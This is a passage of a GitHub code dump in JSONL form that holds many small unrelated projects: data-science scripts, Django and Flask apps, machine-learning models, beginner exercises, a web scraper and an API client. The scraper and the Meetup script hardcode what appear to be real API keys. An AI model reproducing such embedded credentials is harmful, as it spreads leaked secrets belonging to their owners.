(dfDark1['x']*dfDark1['vx']+dfDark1['y']*dfDark1['vy']+dfDark1['z']*dfDark1['vz'])/dfDark1['r']\n\ndfDark1.drop(['vx','vy','vz'], axis = 1, inplace = True)\n\n#Step 3: Coordinate Transformation from galactic center frame to (l,b)\ndfDark1['phi'] = np.arctan2(dfDark1['y'],dfDark1['x'])\ndfDark1['theta'] = np.arccos(dfDark1['z']/dfDark1['r'])\n\ndfDark1.drop(['r','x','y', 'z'], axis = 1, inplace = True)\n\ndfDark1['hp'] = hp.ang2pix(nside, dfDark1['theta'], dfDark1['phi'])\ndfDark1['E'] = -Norm*dfDark1['vr']/(300000+dfDark1['vr'])\n\nprint('I finished')\n\ndfDark2 = pd.read_csv('IIDark.csv')\n\n# Step 1: Construct A Grid\n\npart = 'II'\nsize = 0.6\nrad = 300 # 45 for I, 300 for II, 600 for III\nnumber = int(2*rad/size)\n# Divide the whole space into different boxes\nxbin = np.linspace(-rad, rad, number + 1)\nybin = np.linspace(-rad, rad, number + 1)\nzbin = np.linspace(-rad, rad, number + 1)\n# Put each particle into different bin\ndfDark2['xbin'] = np.searchsorted(xbin, dfDark2['x'])\ndfDark2['ybin'] = np.searchsorted(ybin, dfDark2['y'])\ndfDark2['zbin'] = np.searchsorted(zbin, dfDark2['z'])\n\n#Step 2: Use bin coordinate for LSR frame, so we could have velocity information for each bin\ndfDark2['x'] = np.round(-rad + size*(dfDark2['xbin'] - 1) + size/2, decimals = 2) + 8.2\ndfDark2['y'] = np.round(-rad + size*(dfDark2['ybin'] - 1) + size/2, decimals = 2)\ndfDark2['z'] = np.round(-rad + size*(dfDark2['zbin'] - 1) + size/2, decimals = 2)\ndfDark2['vx'] = dfDark2['vx'] - 20.380102\ndfDark2['vy'] = dfDark2['vy'] - 224.709198\ndfDark2['vz'] = dfDark2['vz'] - 3.895417\n\ndfDark2['r'] = np.sqrt(dfDark2['x']**2+dfDark2['y']**2+dfDark2['z']**2)\ndfDark2['vr'] = (dfDark2['x']*dfDark2['vx']+dfDark2['y']*dfDark2['vy']+dfDark2['z']*dfDark2['vz'])/dfDark2['r']\n\ndfDark2.drop(['vx','vy','vz'], axis = 1, inplace = True)\n\n#Step 3: Coordinate Transformation from galactic center frame to (l,b)\ndfDark2['phi'] = np.arctan2(dfDark2['y'],dfDark2['x'])\ndfDark2['theta'] = np.arccos(dfDark2['z']/dfDark2['r'])\n\ndfDark2.drop(['r','x','y', 'z'], axis = 1, inplace = True)\n\ndfDark2['hp'] = hp.ang2pix(nside, dfDark2['theta'], dfDark2['phi'])\ndfDark2['E'] = -Norm*dfDark2['vr']/(300000+dfDark2['vr'])\n\nprint('II finished')\n\nres = pd.DataFrame(columns = ['hp','len','x0', 'A','fwhm_g', 'fwhm_l'])\n\nsteps = 0.8\nfor i in range(npixs):\n if i%2000 == 0:\n print('No. ' +str(i) + ' processing')\n Tmp1 = dfDark1[dfDark1['hp'] == i]\n Tmp2 = dfDark2[dfDark2['hp'] == i]\n length = len(Tmp1) + len(Tmp2)\n\n Tmp = Tmp1.append(Tmp2, ignore_index=True).copy()\n \n low = min(Tmp['E']) - 0.1\n high = max(Tmp['E']) + steps\n ebin = np.arange(start = low, stop = high, step = steps)\n \n Tmp['ebin'] = np.searchsorted(ebin, Tmp['E'])\n Tmp['ebin'] = low + steps/2 + (Tmp['ebin'] - 1) * steps\n Tmp.drop(['xbin','ybin','zbin', 'E', 'vr', 'phi', 'theta', 'hp'], axis=1, inplace=True)\n pdf = Tmp.groupby(by=['ebin']).sum().reset_index().copy()\n tot = np.sum(pdf['count'])\n pdf['count'] = pdf['count']/(tot*steps)\n\n \n try:\n tmpRes = fit(v,pdf['ebin'],pdf['count'],maxiter = 5000)\n res.loc[i] = [i, length, tmpRes.x_0.value, tmpRes.amplitude_L.value, tmpRes.fwhm_G.value, tmpRes.fwhm_L.value]\n except:\n errorlist.append(\"Voigt \" + str(i) + \"\\n\")\n Tmp.to_csv(str(i)+'.csv', index=False)\n res.loc[i] = [i, length, np.nan, np.nan, np.nan, np.nan]\n \n del Tmp\n del Tmp1\n del Tmp2\n \nres.to_csv(r'./Voigt.csv', index=False)\n\nwr = open('Voigt_err', 'a')\nfor i in range(len(errorlist)):\n wr.write(errorlist[i])\n\nwr.close()\n\n\n\n","repo_name":"dawei-zh/research-astro-repository","sub_path":"dark-matter-detection-MW/Spectroscopy/voigt.py","file_name":"voigt.py","file_ext":"py","file_size_in_byte":4963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43671701075","text":"from django.shortcuts import render, redirect\nfrom .models import Riddle\n\n#Bilmece nesneleri oluşturuldu\nriddles = [\n Riddle(\"If there are four apples and you take away three, how many do you have?\", \"3\",\"0\"),\n Riddle(\"A grandmother, two mothers, and two daughters went to a baseball game together and bought one ticket each. How many tickets did they buy in total?\", \"3\",\"1\"),\n Riddle(\"Eggs are 12 cents a dozen. How many eggs can you get for a dollar?\", \"100\",\"2\"),\n Riddle(\"A cellphone and a phone case cost $110 in total. The cell phone costs $100 more than the phone case. How much was the cellphone?\", \"105\", \"3\"),\n Riddle(\"When Lisa was 6 years old, her sister Lucy was half her age. If Lisa is 40 years old today, how old is Lucy?\",\"37\",\"4\"),\n Riddle(\"A duck was given $9, a spider was given $36, and a bee was given $27. Based on this information, how much money would be given to a cat?\", \"18\",\"5\")\n]\ndef index(request): #HomePage\n context = {'riddles': riddles} #riddles için dict oluşturuldu\n return render(request, 'home/index.html', context) #dict index.html'e gönderildi\n\n\ndef detail(request,riddle_id): #riddle detail page\n riddle = riddles[riddle_id-1] #html parametresinde bilmeceler 1 ile başladığı ve benim oluşturduğum nesnelerde riddles indis gibi düşünülerek 0dan başlatıldığı için 1 çıkarıldı\n context = {'riddle': riddle} #dict oluşturuldu\n return render(request, 'home/detail.html',context)\n\n\ndef search_results(request): #Search bar\n query = request.GET.get('search_query') #ilk GET metodu request içindeki query çağırısı için 2. get metodu ise search_query değerini arıyoruz\n results = [riddle for riddle in riddles if query in riddle.question or query in riddle.answer] #results değişkenine query içindeki kelimeyi barındıran elemanları atıyoruz\n context = {'riddles':results}\n return render(request, 'home/search_results.html', context)\n\n\ndef check_answer(request, riddle_id): # Cevap kontrolü\n riddle = riddles[riddle_id] #riddles nesne dizilerinden id parametresi ile istediğimiz riddle'ı alıyoruz\n answer = request.POST.get('answer') # detail.html'deki seçtiğimiz cevabı getiriyoruz\n if answer == riddle.answer: #cevap doğruysa\n message = 'Congratulations Right Answer'\n else: #cevap yanlışsa\n message = f'Sorry, False Answer. True Answer is: {riddle.answer}'\n return render(request, 'home/result.html', {'message': message}) #message ile result sayfasına yönlendirdik\n\n","repo_name":"ExNot/Tm-BackeEnd-Flask-Django","sub_path":"ProgrammingBlog/home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2548,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35946069496","text":"import tensorflow as tf\nimport numpy as np\nfrom arch import *\nimport os\nimport shutil\nfrom tensorflow import keras\nimport random\nimport cv2\nimport tensorflow_addons as tfa\n\ndef preprocess_img(img, img_size):\n\n scaled_img = np.zeros_like(img, dtype= 'float')\n for c in range(img.shape[3]):\n curr_c = img[:, :, :, c]\n curr_mean = np.mean(curr_c)\n curr_std = np.sqrt(np.var(curr_c))\n scaled_img[:, :, :, c] = (curr_c - curr_mean)/curr_std\n\n # scaled_img = img/127.5 - 1\n # scaled_img = img\n\n resized_img = np.zeros((scaled_img.shape[0], img_size, img_size, scaled_img.shape[3]))\n for n in range(scaled_img.shape[0]):\n resized_img[n] = cv2.resize(scaled_img[n], dsize=(img_size, img_size))\n\n return resized_img\n\ndef to_one_hot(x, num_classes):\n one_hot = np.zeros([x.shape[0], num_classes])\n idx = list(range(x.shape[0]))\n one_hot[idx, x[:, 0]] = 1\n\n return one_hot\n\ndef calculate_accuracy(pred, truth):\n pred_class = []\n true_class = []\n for n in range(pred.shape[0]):\n curr_pred_class = [i for i in range(pred.shape[1]) if pred[n, i] == np.max(pred[n, :])]\n pred_class.append(curr_pred_class[0])\n\n curr_true_class = [i for i in range(truth.shape[1]) if truth[n, i] == np.max(truth[n, :])]\n true_class.append(curr_true_class[0])\n\n correct = [1 if pred_class[n] == true_class[n] else 0 for n in range(len(pred_class))]\n accuracy = np.sum(correct)/len(correct)\n\n return accuracy\n\ndef loss_fn(y_true, y_pred):\n loss = tf.nn.softmax_cross_entropy_with_logits(labels= y_true, logits= y_pred)\n\n return loss\n\n\n\nif __name__ == '__main__':\n\n #load data\n (x_train, y_train), (x_test, y_test) = keras.datasets.cifar100.load_data()\n x_train = preprocess_img(x_train, 72)\n x_test = preprocess_img(x_test, 72)\n num_classes = np.max(y_train[:, 0]) + 1\n y_train = to_one_hot(y_train, num_classes)\n y_test = to_one_hot(y_test, num_classes)\n\n patch_size = 6\n num_heads = 4\n d_model = 64\n d_proj = int(d_model/num_heads)\n d_inner = d_model*2\n num_blocks = 8\n\n lr = 0.001\n batch_size = 256\n iters = 500\n\n\n x = keras.Input(shape= (x_train.shape[1], x_train.shape[2], x_train.shape[3]))\n vit = model_v3_tf2.ViT(x, num_blocks, d_model, num_heads, d_proj, d_inner, num_classes, patch_size)\n vit.compile(optimizer= tfa.optimizers.AdamW(learning_rate= lr, weight_decay= 0.0001), loss= loss_fn)\n\n history = vit.fit(x_train, y_train, batch_size= 256, epochs= 10)\n\n","repo_name":"shiveshc/ViT_easy_tensorflow","sub_path":"train_tf2.py","file_name":"train_tf2.py","file_ext":"py","file_size_in_byte":2513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30688421462","text":"from injector import inject\nfrom flask import request, jsonify, Blueprint\n\n\n\nMIMETYPE = 'application/json'\nsubscribers_controller = Blueprint('subscribers', __name__, url_prefix='/subscribers')\n\n@subscribers_controller.route('/add', methods=['POST'])\ndef add_subscriber():\n \"\"\"create_subscriber receives a json with data\n to add a new subscriber.\n\n Returns:\n Response - an HttpResponse with a success or failure \n code depending on the result of the add operation.\n \"\"\"\n raise NotImplementedError\n\n\n@subscribers_controller.route('/', methods=['GET'])\ndef get_subscribers():\n return jsonify(status_code=200, status='Ok', test='works')\n\n","repo_name":"Elang89/unidentified_project","sub_path":"app/subscribers/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70193464692","text":"#Program to check and print even numbers from a list\n\ndef Even_Num_In_List():\n n1=[]\n n2=[]\n i=1\n j=0\n num_elements=int(input(\"Enter the number of elements required:\"))\n while i<=num_elements:\n n=int(input(\"Enter {} number:\" .format(i)))\n n1.insert(i,n)\n i+=1\n print(\"Entered List elements are:\")\n print(n1) \n\n for j in n1:\n p=j\n if j%2==0:\n n2.insert(p,j)\n print(\"Even numbered elements from the list are:\")\n print(n2) \n\nEven_Num_In_List()","repo_name":"Amruta-Pendse/Python_Exercises","sub_path":"Functions/Even_Num_In_List.py","file_name":"Even_Num_In_List.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1267006628","text":"#!/usr/bin/python\n# -*- coding: utf8 -*-\n#MenuTitle: Check for self referential anchors\n#\n# Find glyphs that have both a _xxx and xxx anchor (possible from accidental decomposition)\n\nfont = Glyphs.fonts[0]\nreview = []\n\nfor g in font.glyphs:\n\tfor l in g.layers:\n\t\tif len(l.anchors) > 1:\n\t\t\tall = [a.name.replace(\"_\", \"\") for a in l.anchors]\n\t\t\tcount = len(all)\n\t\t\tunique = len(list(set(all)))\n\t\t\tif count != unique and g not in review:\n\t\t\t\treview.append(g)\n\t\t\t\t\nif len(review) > 0:\n\t# either review manually\n\tfont.newTab(\" \".join([\"/\" + str(g.name) for g in review]))\n\n\t# or remove a specific anchor, uncomment:\n\t# for g in review:\n\t# \tfor l in g.layers:\n\t# \t\tl.anchors = [a for a in l.anchors if a.name != \"_top\"]\n\t\n\t\t\t","repo_name":"underscoretype/underscore-glyphs-scripts","sub_path":"check_anchors.py","file_name":"check_anchors.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"19164055269","text":"import os\n\n\nos.chdir('tasks/task27/homework/02_PairsDynamic/n10/')\n\n\ndef solution(var):\n f = open(f'27{var}.txt', mode='r')\n n = int(f.readline())\n a = [int(x) for x in f]\n res = 0\n k, k13 = [0, 0], [0, 0]\n for i in range(5, n):\n k[a[i - 5] % 2] += 1\n k13[a[i - 5] % 2] += a[i - 5] % 13 == 0\n\n if a[i] % 13 == 0:\n res += k[not a[i] % 2]\n else:\n res += k13[not a[i] % 2]\n \n print(res)\n\n\nsolution('A')\nsolution('B')","repo_name":"Richtermnd/Exams","sub_path":"tasks/task27/homework/02_PairsDynamic/n10/n10.py","file_name":"n10.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11893340526","text":"\nfrom django.urls import include, path\n\nfrom . import views\n\napp_name='job'\n\nurlpatterns = [\n path('signup',views.signup , name='signup'),\n path('profile',views.profile , name='profile'),\n path('profile/edit',views.profile_edit , name='profile_edit'),\n\n]","repo_name":"Pythondeveloper6/django-job-board","sub_path":"accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":263,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"21"} +{"seq_id":"11748319847","text":"import requests\nimport pandas as pd \nimport urllib.parse\nfrom bs4 import BeautifulSoup\n\n\n\nurl = 'https://clutch.co/developers/react-native?geona_id=356'\n\nsa_key = '914a3d7c86d54573a6816303498267dc' # paste here\nsa_api = 'https://api.scrapingant.com/v2/general'\nqParams = {'url': url, 'x-api-key': sa_key}\nreqUrl = f'{sa_api}?{urllib.parse.urlencode(qParams)}' \n\nr = requests.get(reqUrl)\n# print(r.text) # --> html\nsoup = BeautifulSoup(r.content, 'html.parser')\nfile = open('index.html', 'w')\n# print(soup.prettify())\n\n\nname_elements = soup.find_all('a', class_=\"company_title\")\n\nnames = []\n\nfor element in name_elements:\n names.append(str(element.text).strip())\n\nwebsite_elements = soup.find_all('a', class_=\"website-link__item\")\n\nwebsites = []\n\nfor element in website_elements:\n x = str(element).split('href=')\n a = str(x[1]).split('rel')\n websites.append(str(a[0]))\n \n# location_elements = soup.find_all('span', class_='locality')\n\n# locations = []\n\n# for element in location_elements:\n# locations.append(str(element.string).strip())\n\n\nmodule_elements = soup.find_all('div' , class_= \"module-list\")\n\nHourly_rate = []\nmin_project_size = []\nemployee_size = []\nlocality = []\nfor element in module_elements:\n x = element.find_all('span')\n min_project_size.append(str(x[0].text))\n Hourly_rate.append(str(x[1].text))\n employee_size.append(str(x[2].text))\n locality.append(str(x[3].text))\n\n\nrating_element = soup.find_all('span' , class_= \"rating sg-rating__number\")\nratings = [] \nfor element in rating_element:\n x = str(element.text).split('\\n')\n ratings.append(str(x[1]).strip())\n# print(ratings)\n\n\n \n\n\n\n\ndf= pd.DataFrame()\ndf['Company'] = names\ndf['website'] = websites\ndf['Hourly rate'] = Hourly_rate\ndf['Ratings'] = ratings\ndf['Employee Size'] = employee_size\ndf['Min project size'] = min_project_size\ndf['Location'] = locality\ndf.to_excel('ReactNativeDevelopment.xlsx',index=False)\n","repo_name":"aryanshmalviya/Default-Coding_Assesment","sub_path":"Scraping_data.py","file_name":"Scraping_data.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11773194362","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# Author: Donny You(youansheng@gmail.com)\n\n\nimport numpy as np\nimport torch\n\n\nclass YOLODetectionLayer(object):\n \"\"\"Compute prior boxes coordinates in center-offset form for each source feature map.\"\"\"\n\n def __init__(self, configer):\n self.configer = configer\n self.device = torch.device('cpu' if self.configer.get('gpu') is None else 'cuda')\n\n def __call__(self, layer_out_list):\n num_classes = self.configer.get('data', 'num_classes')\n detect_list = list()\n prediction_list = list()\n for i in range(len(layer_out_list)):\n batch_size, _, grid_size_h, grid_size_w = layer_out_list[i].size()\n feat_stride = self.configer.get('network', 'stride_list')[i]\n in_anchors = self.configer.get('anchor', 'anchors_list')[i]\n bbox_attrs = 4 + 1 + num_classes\n num_anchors = len(in_anchors)\n\n anchors = [(a[0] / feat_stride, a[1] / feat_stride) for a in in_anchors]\n\n layer_out = layer_out_list[i].view(batch_size, num_anchors * bbox_attrs, grid_size_h * grid_size_w)\n layer_out = layer_out.contiguous().view(batch_size, num_anchors, bbox_attrs, grid_size_h * grid_size_w)\n layer_out = layer_out.permute(0, 1, 3, 2).contiguous().view(batch_size, -1, bbox_attrs)\n\n # Sigmoid the centre_X, centre_Y. and object confidencce\n layer_out[:, :, 0] = torch.sigmoid(layer_out[:, :, 0])\n layer_out[:, :, 1] = torch.sigmoid(layer_out[:, :, 1])\n layer_out[:, :, 4] = torch.sigmoid(layer_out[:, :, 4])\n\n # Softmax the class scores\n layer_out[:, :, 5: 5 + num_classes] = torch.sigmoid((layer_out[:, :, 5: 5 + num_classes]))\n\n prediction_list.append(layer_out)\n detect_out = layer_out.clone()\n # Add the center offsets\n grid_len_h = np.arange(grid_size_h)\n grid_len_w = np.arange(grid_size_w)\n a, b = np.meshgrid(grid_len_w, grid_len_h)\n\n x_offset = torch.from_numpy(a).float().view(-1, 1)\n y_offset = torch.from_numpy(b).float().view(-1, 1)\n\n x_offset = x_offset.to(self.device)\n y_offset = y_offset.to(self.device)\n\n x_y_offset = torch.cat((x_offset, y_offset), 1).contiguous().view(1, -1, 2)\n x_y_offset = x_y_offset.repeat(num_anchors, 1, 1).view(-1, 2).unsqueeze(0)\n\n detect_out[:, :, :2] += x_y_offset\n\n # log space transform height and the width\n anchors = torch.from_numpy(np.array(anchors)).float().to(self.device)\n anchors = anchors.contiguous().view(3, 1, 2)\\\n .repeat(1, grid_size_h * grid_size_w, 1).contiguous().view(-1, 2).unsqueeze(0)\n detect_out[:, :, 2:4] = torch.exp(detect_out[:, :, 2:4]) * anchors\n\n detect_out[:, :, 0] /= grid_size_w\n detect_out[:, :, 1] /= grid_size_h\n detect_out[:, :, 2] /= grid_size_w\n detect_out[:, :, 3] /= grid_size_h\n\n box_corner = detect_out.new(detect_out.shape)\n box_corner[:, :, 0] = detect_out[:, :, 0] - detect_out[:, :, 2] / 2\n box_corner[:, :, 1] = detect_out[:, :, 1] - detect_out[:, :, 3] / 2\n box_corner[:, :, 2] = detect_out[:, :, 0] + detect_out[:, :, 2] / 2\n box_corner[:, :, 3] = detect_out[:, :, 1] + detect_out[:, :, 3] / 2\n # clip bounding box\n box_corner.clamp(min=0, max=1.0)\n detect_out[:, :, :4] = box_corner[:, :, :4]\n detect_list.append(detect_out)\n\n return torch.cat(prediction_list, 1), torch.cat(detect_list, 1)\n","repo_name":"donnyyou/torchcv","sub_path":"model/det/layers/yolo_detection_layer.py","file_name":"yolo_detection_layer.py","file_ext":"py","file_size_in_byte":3673,"program_lang":"python","lang":"en","doc_type":"code","stars":2235,"dataset":"github-code","pt":"21"} +{"seq_id":"17430920552","text":"class Solution:\n def valid_cell(self, r, c, row, col, vis):\n if r < 0 or r >= row or c < 0 or c >= col:\n return False\n if vis[r][c]:\n return False\n return True\n\n def traverse(self, cur_r, cur_c, cur_direction, directions, vis, grid, max_row, max_col):\n res = [grid[cur_r][cur_c]]\n vis[cur_r][cur_c] = 1\n next_r = cur_r + directions[cur_direction][0]\n next_c = cur_c + directions[cur_direction][1]\n if not self.valid_cell(next_r, next_c, max_row, max_col, vis):\n cur_direction += 1\n cur_direction %= 4\n next_r = cur_r + directions[cur_direction][0]\n next_c = cur_c + directions[cur_direction][1]\n if not self.valid_cell(next_r, next_c, max_row, max_col, vis):\n return res\n return res + self.traverse(next_r, next_c, cur_direction, directions, vis, grid, max_row, max_col)\n\n def spiralOrder(self, matrix):\n import copy\n directions = [(0, 1), (1, 0), (0, -1), (-1, 0)]\n max_row = len(matrix)\n max_col = len(matrix[0])\n visrow = [0] * max_col\n vis = [copy.deepcopy(visrow) for i in range(max_row)]\n res = self.traverse(0, 0, 0, directions, vis, matrix, max_row, max_col)\n return res\n\nres = Solution().spiralOrder([[1,2,3],[4,5,6],[7,8,9]])\nprint(res)","repo_name":"one-last-time/leetcode","sub_path":"Spial matrix.py","file_name":"Spial matrix.py","file_ext":"py","file_size_in_byte":1366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40596420535","text":"from AllEmployees import AllEmployees\nfrom Employee import Employee\n\n\ndef menu():\n print('\\nA to add')\n print('P to show all')\n print('W to write yearly employees in file')\n print('Q to quit\\n')\n\n\nall_employees = AllEmployees()\n\nwhile True:\n menu()\n action = input()\n if action == 'Q':\n break\n elif action == 'A':\n initial_dict = dict()\n initial_dict['name'] = input('Enter name of the employee separated by space: ').split()\n initial_dict['salary'] = input('Enter salary of the employee: ')\n new_year = input('Enter the year of starting: ')\n new_month = input('Enter the month of starting: ')\n new_day = input('Enter the day of the starting: ')\n initial_dict['first_date'] = [new_year, new_month, new_day]\n print('Is he retired(Y/N)?')\n user_input = input()\n if user_input == 'N':\n initial_dict['last_date'] = None\n else:\n new_year = input('Enter the year of finishing: ')\n new_month = input('Enter the month of finishing: ')\n new_day = input('Enter the day of the finishing: ')\n initial_dict['last_date'] = [new_year, new_month, new_day]\n new_employee = Employee(initial_dict)\n if new_employee.salary != -1:\n all_employees.append(new_employee)\n print(new_employee)\n print('New object successfully created')\n else:\n print('New object was not created')\n\n elif action == 'P':\n print(all_employees)\n elif action == 'W':\n new_file = input('Enter file name to write: ')\n writing = open(new_file, 'w')\n writing.write(all_employees.get_yearly())\n writing.close()\n else:\n print('No such option')\n","repo_name":"ZarechOleksii/LNUSophomorePractice","sub_path":"Python/Module1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"37651631808","text":"import cv2\n\n#face Classifier\nface_cascade = cv2.CascadeClassifier ('./Classifiers/haarcascade_frontalface_default.xml')\n\n# eyes classifier\neye_cascade = cv2.CascadeClassifier('./Classifiers/haarcascade_eye.xml')\n\n# Capture videos\ncap = cv2.VideoCapture(0, cv2.CAP_DSHOW) \n\n# loop \nwhile True:\n ret, img = cap.read()\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n \n # detect faces\n faces = face_cascade.detectMultiScale(gray)\n for (x,y,w,h) in faces:\n # To draw a rectangle in a face \n cv2.rectangle(img,(x,y),(x+w,y+h),(255,255,0),2) \n roi_gray = gray[y:y+h, x:x+w]\n roi_color = img[y:y+h, x:x+w]\n\n # detect eyes\n eyes = eye_cascade.detectMultiScale(roi_gray)\n # To draw rectangle in eyes\n for (ex,ey,ew,eh) in eyes:\n cv2.rectangle(roi_color,(ex,ey),(ex+ew,ey+eh),(0,127,255),2)\n \n cv2.imshow('img',img)\n\n#for quiting the programs by pressing q\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\ncap.release()\ncv2.destroyAllWindows() \n","repo_name":"muddasarbukhari/face_detection","sub_path":"FaceDetector.py","file_name":"FaceDetector.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1838685337","text":"from django.urls import path, include\r\nfrom . import views\r\n\r\nurlpatterns = [\r\n path('delete', views.delete, name=\"delete\"),\r\n path('delete/', views.delete, name=\"delete\"),\r\n path(\"gohome\", views.gohome, name=\"gohome\"),\r\n path(\"dodelete\", views.dodelete, name=\"dodelete\"),\r\n path(\"delete/dodelete\", views.dodelete, name=\"dodelete\"),\r\n path(\"delete/gohome\", views.gohome, name=\"gohome\"),\r\n]","repo_name":"AVINABA20/EmployeeRegister","sub_path":"DeleteApp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70467902452","text":"c=0\nd=10\npt=int(input('Primeiro termo: '))\nrazao=int(input('Razão: '))\nwhile c!=d:\n print('{} -> '.format(pt),end='')\n pt+=razao\n c+=1\n if c==d:\n print('PAUSA')\n f=int(input('Você quer mostrar mais quantos termos? '))\n d+=f\nprint('PA finalizada, no total foram mostrados {} termos'.format(c))\n","repo_name":"atico0/python","sub_path":"python_exercicios/ex062.py","file_name":"ex062.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33557075206","text":"import requests\nimport datetime\nimport json\n\nSITE = 'https://api.meetup.com/2/open_events'\nAPI = '25761a5a345a4f53585f6e5427c5917'\n\n\nDATE = datetime.datetime.now().toordinal() * 24 * 60 * 60\nweek = 24 * 7 * 60 * 60\n\nCATEGORY = 34\nCOUNTRY = 'US'\nSTATE = 'NY'\nCITY = 'Brooklyn'\n\nparams = {\n 'key': API,\n 'country': COUNTRY,\n 'state': STATE,\n 'radius': 1,\n 'city': CITY,\n 'order': 'time',\n 'category': CATEGORY,\n 'time': str(DATE) + \", \" + str(DATE) + str(week)}\n\nr = requests.get(SITE, params=params)\nj = json.loads(r.text)\n\nf = open('html.html', 'w', encoding='utf-8')\nif j['results']:\n f.write('Url: ' + str(r.url) + '
')\n for i in j['results']:\n if i.get('venue') and i.get('description'):\n message = '

' + str(i['name']) + '

' + \\\n '

' + ' Adress: ' + i['venue']['city'] + ', ' + i['venue']['address_1'] + '

' + '\\n' + i[\n 'description'] + '\\n' + '

' + str(\n datetime.datetime.fromtimestamp(int(i['time']) / 1e3)) + '

' + '\\n' + '------------\\n'\n f.write(message)\n print('lucky')\nelse:\n f.write('empty')\n print('empty')\nf.close()\n","repo_name":"jonathrays/lab3","sub_path":"party.py","file_name":"party.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42845193203","text":"import streamlit as st\nfrom datetime import time, datetime\n\nst.header('st.slider()')\n\nst.subheader('Slider')\nage = st.slider('How old are you?', 0, 130, 25) # mensagem, min, max, default\nst.write(\"I'm \", age, 'years old') # escreve a idade\n\nst.subheader('Range Slider')\n\nvalues = st.slider(\n 'Select a range of values',\n 0.0, 100.0, (25.0, 75.0) # mensagem, min, max, default (defino dois padrões então é um range)\n)\nst.write('Values:', values)\n\nst.subheader('Range Time Slider')\n\nappointments = st.slider(\n 'Schedulet your appointment',\n value=(time(11, 30), time(12, 45)), # mensagem, default (defino dois padrões então é um range)\n)\nst.write(\"You're scheduled for\", appointments)\n\nst.subheader('Datetime slider')\n\nstart_time = st.slider(\n \"When do you start?\",\n value = datetime(2023, 1, 1, 9, 30),\n format=\"DD/MM/YY - hh:mm\"\n)\nst.write(\"Start time:\", start_time)\n\n","repo_name":"pedrodicati/streamlit-30-days","sub_path":"day_08/slider.py","file_name":"slider.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22774519473","text":"from django.urls import reverse\n\nfrom service_catalog.models import InstanceState, RequestState\nfrom tests.test_service_catalog.base import BaseTest\n\n\nclass GlobalHookAjaxTest(BaseTest):\n\n def test_ajax_load_model_state(self):\n url = reverse('service_catalog:ajax_load_model_state')\n test_map = [\n {\"model\": \"Instance\",\n \"expected_option\": InstanceState.choices\n },\n {\"model\": \"Request\",\n \"expected_option\": RequestState.choices\n }\n ]\n\n for test in test_map:\n data = {\n \"model\": test[\"model\"]\n }\n response = self.client.get(url, data=data)\n self.assertEqual(200, response.status_code)\n self.assertEqual(test[\"expected_option\"], response.context[\"options\"])\n","repo_name":"EliasBoulharts/squest","sub_path":"tests/test_service_catalog/test_views/test_admin/test_tools/test_global_hooks/test_ajax.py","file_name":"test_ajax.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"2905555392","text":"#!/usr/bin/env python\n\nimport sys\nimport os\nimport math\nimport numpy as np\nfrom random import random, randint\nfrom matplotlib import pyplot\nfrom sklearn import svm\n\nfrom perc import sign, perc\n\ndim = 2\nN = 500\n\n\ndef gen(C=1e10):\n a, b, c = (random() - 0.5) * 10, (random() - 0.5) * 10, (random() + 1) * 5 # 0 for no bias\n norm = math.sqrt(a * a + b * b)\n\n w = np.array([a / norm, b / norm, c / norm])\n\n prec = 1e-2\n data = [[], []]\n datas = []\n X = []\n Y = []\n while not all(len(d) >= 20 for d in data):\n xy = np.array([(random() - 0.5) * 20, (random() - 0.5) * 20, 1])\n c = w.dot(xy)\n if c >= 1:\n i = 0\n elif c <= -1:\n i = 1\n else:\n i = 2\n if i < 2 and len(data[i]) <= 20:\n ## if random()<0.99:\n ## i = 1-i; c = -c\n data[i].append((xy[0], xy[1]))\n datas.append(((xy[0], xy[1]), sign(c)))\n X.append(xy[:-1])\n Y.append(sign(c))\n\n markers = [\"ro\", \"bs\"]\n for i, d in enumerate(data):\n ps = np.array(d).transpose()\n pyplot.plot(ps[0], ps[1], markers[i], ms=5)\n\n x = np.linspace(-10, 10, 21)\n\n # pyplot.plot(x, (w[0]*x + w[2])/-w[1])\n # pyplot.plot(x, (w[0]*x + w[2] + 1)/-w[1])\n # 